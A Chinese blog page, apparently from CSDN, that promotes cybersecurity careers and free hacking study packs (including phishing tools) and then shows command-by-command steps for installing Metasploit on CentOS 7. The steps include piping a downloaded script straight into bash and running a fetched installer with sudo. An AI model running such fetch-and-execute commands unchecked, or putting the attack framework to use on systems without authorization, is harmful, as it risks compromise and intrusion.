网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 6
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要在CentOS 7上安装Metasploit框架,您需要执行以下步骤: 1. 首先,您需要安装必要的依赖项。在终端中执行以下命令: ``` sudo yum -y update sudo yum -y install curl gpg gcc-c++ glibc-devel patch readline readline-devel zlib zlib-devel libyaml-devel libffi-devel openssl-devel make bzip2 autoconf automake libtool bison sqlite-devel ``` 2. 安装RVM(Ruby Version Manager)。在终端中执行以下命令: ``` gpg2 --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB curl -sSL https://get.rvm.io | bash -s stable source /etc/profile.d/rvm.sh rvm requirements rvm install 2.6.5 rvm use 2.6.5 --default ``` 3. 安装PostgreSQL。在终端中执行以下命令: ``` sudo yum -y install postgresql-server postgresql-contrib sudo postgresql-setup initdb sudo systemctl start postgresql sudo systemctl enable postgresql ``` 4. 创建Metasploit数据库用户和数据库。在终端中执行以下命令: ``` sudo su - postgres createuser msf -P createdb msf_database -O msf exit ``` 5. 安装Metasploit框架。在终端中执行以下命令: ``` curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod +x msfinstall sudo ./msfinstall ``` 6. 启动Metasploit框架。在终端中执行以下命令: ``` sudo msfconsole ``` 7. 配置Metasploit框架。在Metasploit控制台中执行以下命令: ``` db_connect msf@msf_database db_status ``` 如果输出结果为“connected to msf_database”,则说明配置成功。 现在,您已经成功在CentOS 7上安装了Metasploit框架

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值